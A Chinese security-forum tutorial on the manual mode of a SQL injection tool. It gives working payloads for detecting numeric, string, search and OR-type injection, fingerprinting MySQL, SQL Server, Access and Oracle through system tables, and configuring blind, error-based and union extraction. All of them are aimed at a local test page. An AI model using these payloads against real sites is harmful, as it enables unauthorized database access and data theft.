超级SQL注入工具:超级SQL手工模式(续篇+视频资料 )

辣条姐   ·   发表于 2020-12-21 18:07:36   ·   技术文章

上一篇内容: https://bbs.zkaq.cn/t/4963.html
上一篇我们讲到超级SQL渗透工具的的工具篇,学到了工具的简单介绍和使用,接下来咱们不多废话,就开始挑战续篇:

12.1我如何开始注入?

12.1.自动模式

说明:
自动模式适合网页响应内容比较固定的注入检测,自动模式只支持GET或者POST传递的参数的注入检测,不支持HTTP请求属性的注入,如Referer注入。
首先开始自动识别注入时,需要配置基础信息,地址、端口、超时、编码、线程、重试次数。

其次需要配置HTTP请求数据包,可以在数据包文本框里按鼠标右键选择生成GET或POST数据模板,然后修改请求的URL地址和HOST及提交数据。
注入http://127.0.0.1:8090/mysql.jsp?id=1 示例数据包配置:
一、方法一
在数据包中输入URL地址http://127.0.0.1:8090/mysql.jsp?id=1,在数据包空白处单击鼠标右键,选择“根据URL生成数据包”,即可自动配置GET型请求数据包,并自动设置IP地址和端口。
二、
首先生成GET数据包模板,修改请求URL地址,这里取URL的根目录“/mysql.jsp?id=1”,然后修改Host为“127.0.0.1:8090”即可。

最后点击识别注入,就可以开始自动识别注入了,如果识别成功,会自动设置数据库类型和注入类型,并自动进行注入标记,这时候只需要切换到数据中心选择对应功能去获取相关数据即可。

如何开始手工模式的学习?

衔接上一上我们讲到,如何使用超级SQL工具注入大闯关,接下来,咱们不多废话,直接开始!!

**12.2.手动模式

12.2.1.基础配置

手动模式相对自动模式配置相对复杂,但自动模式可以对付各种情况各种位置的注入。
首先需要完成基本配置,基本配置参考自动模式的整个过程。
然后需要人工对注入进行判断后在选择对应数据库和注入类型,并进行标记,那么如何进行判断和标记呢?
首先需要判断注入的类型,比如数字型、字符型、搜索型等,然后判断对应的数据库。
判断完成后,需要对注入位置进行标记,如何判断和标记,请往下看!

12.2.2.判断注入类型

12.2.2.1.通用数字型

URL地址:
http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1

判断注入:
改变参数id=1 and 1=1 和 id=1 and 1=2进行测试,如果1=1页面显示正常和原页面一样,并且1=2时页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
判断数据库类型:
使用exists函数判断查询对应数据库的系统表是否存在,
根据页面是否正常来判断对应数据库类型。

MySQL:http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1 and exists(select 1 from information_schema.tables)
SQLServer: http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1 and exists(select 1 from sysobjects)
Access :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1 and exists(select 1 from MSysAccessObjects)
Oracle :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1 and exists(select 1 from user_tables)

12.2.2.2.通用字符型

URL地址:
http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1
判断注入:
改变参数id=1’ and 1=1 and ‘1’=’1 和 id=1’ and 1=1 and ‘1’=’2进行测试,或者利用注释符号“#”或者“— ”,
当然特殊字符记得进行URL编码,“#”URL编码后是“%23”,“— ”编码后是“—%20”,利用注释符,那么可以改变参数为id=1’ and 1=1%23和id=1’ and 1=2%23来进行测试,
如果1=1页面显示正常和原页面一样,并且1=2时页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

判断数据库类型:
使用exists函数判断查询对应数据库的系统表是否存在,根据页面是否正常来判断对应数据库类型。

MySQL:http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1’ and exists(select 1 from information_schema.tables) and ‘a’=’a
SQLServer :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1’ and exists(select 1 from sysobjects) and ‘a’=’a
Access :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1’ and exists(select 1 from MSysAccessObjects) and ‘a’=’a
Oracle :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1’ and exists(select 1 from user_tables) and ‘a’=’a

12.2.2.3.通用搜索型

URL地址:
http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1
判断注入:
改变参数id=1%’ and 1=1 and ‘%’=’ 和 id=1%’ and 1=2 and ‘%’=’进行测试,或者利用注释符号“#”或者“— ”,当然特殊字符记得进行URL编码,“#”URL编码后是“%23”,“— ”编码后是“—%20”,利用注释符,那么可以改变参数为id=1%’ and 1=1%23和id=1%’ and 1=2%23来进行测试,如果1=1页面显示正常和原页面一样,并且1=2时页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。

判断数据库类型:
使用exists函数判断查询对应数据库的系统表是否存在,根据页面是否正常来判断对应数据库类型。

MySQL:http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1%’ and exists(select 1 from information_schema.tables) and ‘%’=’
SQLServer :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1%’ and exists(select 1 from sysobjects) and ‘%’=’
Access :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1%’ and exists(select 1 from MSysAccessObjects) and ‘%’=’
Oracle :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1%’ and exists(select 1 from user_tables) and ‘%’=’

12.2.2.4.OR类型

URL地址:
http://127.0.0.1:8090/JavaSQLInjection/login.jsp?username=1&pass=1

判断注入:
改变参数username=1’ or(1=1 and 1=1) and ‘1’=’1 和 username=1’ or(1=1 and 1=2) and ‘1’=’1进行测试,或者利用注释符号“#”或者“— ”,当然特殊字符记得进行URL编码,“#”URL编码后是“%23”,“— ”编码后是“—%20”,利用注释符,那么可以改变参数为1’ or(1=1 and 1=1)%23和1’ or(1=1 and 1=2)%23来进行测试,如果1=1页面显示正常和原页面一样,并且1=2时页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

判断数据库类型:
使用exists函数判断查询对应数据库的系统表是否存在,根据页面是否正常来判断对应数据库类型。

MySQL :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?username=1’ or(1=1 and exists(select 1 from information_schema.tables)) and ‘a’=’a&password=1
SQLServer :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1’ or(1=1 and exists(select 1 from sysobjects)) and ‘a’=’a
Access :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1’ or(1=1 and exists(select 1 from MSysAccessObjects)) and ‘a’=’a
Oracle :http://127.0.0.1:8090/JavaSQLInjection/mysql.jsp?id=1’ or(1=1 and exists(select 1 from user_tables)) and ‘a’=’a

12.2.3.注入标记**

很简单,首先选中需要进行URL编码的参数值,选择需要进行URL编码的参数后再选中之前判断注入类型中的“and 1=1”,然后点击右边的标记注入按钮,或者直接删除“and 1=1”后,在对应的位置插入注入标记。
12.2.4.获取数据配置
12.2.4.1.Bool盲注取数据配置
12.2.4.1.1.基本配置
Bool盲注配置依靠关键字、状态码、响应时间等因素进行逻辑上的真假判断。

关键字判断
关键字是正常逻辑上为真,页面上存在的字符,而逻辑上为假,页面上没有出现的字符。即“and 1=1”出现的字符,而“and 1=2”时未出现的字符。

示例:
正常的数字型注入:


盲注关键字可选择and 1=1时,页面上出现的关键字,and 1=2时没有出现的关键字,比如“SQL” 、“我是SQL”、“SQL注入”。一个原则,只要确保这个词是1=1条件是页面出现这个关键词,而1=2时不出现。
状态码判断
状态码判断原理同上,只是条件变成了and 1=1时出现这个状态码,二and 1=2时不出现这个状态码。
选择状态码判断后,程序盲注的关键字将依靠状态码判断,即“and 1=1”时HTTP请求的状态码为此关键字(200、403、302、500等),而“and 1=2”时为其他状态码。
时间判断:
需人工判断网页平均响应时间,设置一个时间阀值,当页面响应时间超过这个阀值,证明当前判断是正确的,否则不正确。

12.2.4.1.2.关键字取反**

关键字取反选择后,程序将反过来取注入的判断依据,
比如即“and 1=2”出现的字符,而“and 1=1”时未出现的字符。如果选择了状态码,即“and 1=2”出现的状态码,而“and 1=1”时未为其他状态码。

12.2.4.1.3.验证关键字是否正确

点击关键字可以验证关键字是否配置正确。

12.2.4.2.错误显示方式取数配置

无需配置,程序将自动获取错误信息,需要注意的是程序可以显示错误信息。

12.2.4.3.Union注入取数据配置

因为Union联合查询前后的列数需要保持一致,程序只能利用显示列显示注入获取的数据,所以Union注入需要配置SQL注入的列数、和数据显示列。人工判断可通过order by方式判断或Union select 1,2,3,…………来判断列数和显示列。
注意事项:由于Access数据库没有系统表,所以只能盲猜表和列,所以需要配置盲注取数据配置。配置参考Bool盲注取数据配置。

12.2.5.获取数据

切换到数据中心,尝试获取数据,如获取失败,可尝试切换数据获取方式,或者人工测试是否有相关防护规则,检查网页编码是否正常,对HTTP发包日志进行查看分析失败原因,在调整配置。

13.隐藏功能之代理

工具一直没有提供设置代理的地址那是不是就不能使用代理了呢,使用代理很简单,在基础配置的地址和端口上输入代理的IP地址和端口就可以使用代理了,是不是很神奇呢?

用户名金币积分时间理由
奖励系统 50.00 0 2021-04-29 16:04:08 投稿满 5 赞奖励
veek 80.00 0 2020-12-28 11:11:10 感谢分享~

打赏我,让我更有动力~

附件列表

SQL.SSQLInjection.V1.0.20201112.zip   文件大小:0.727M (下载次数:64)

0 条回复   |  直到 2020-12-28 | 2570 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.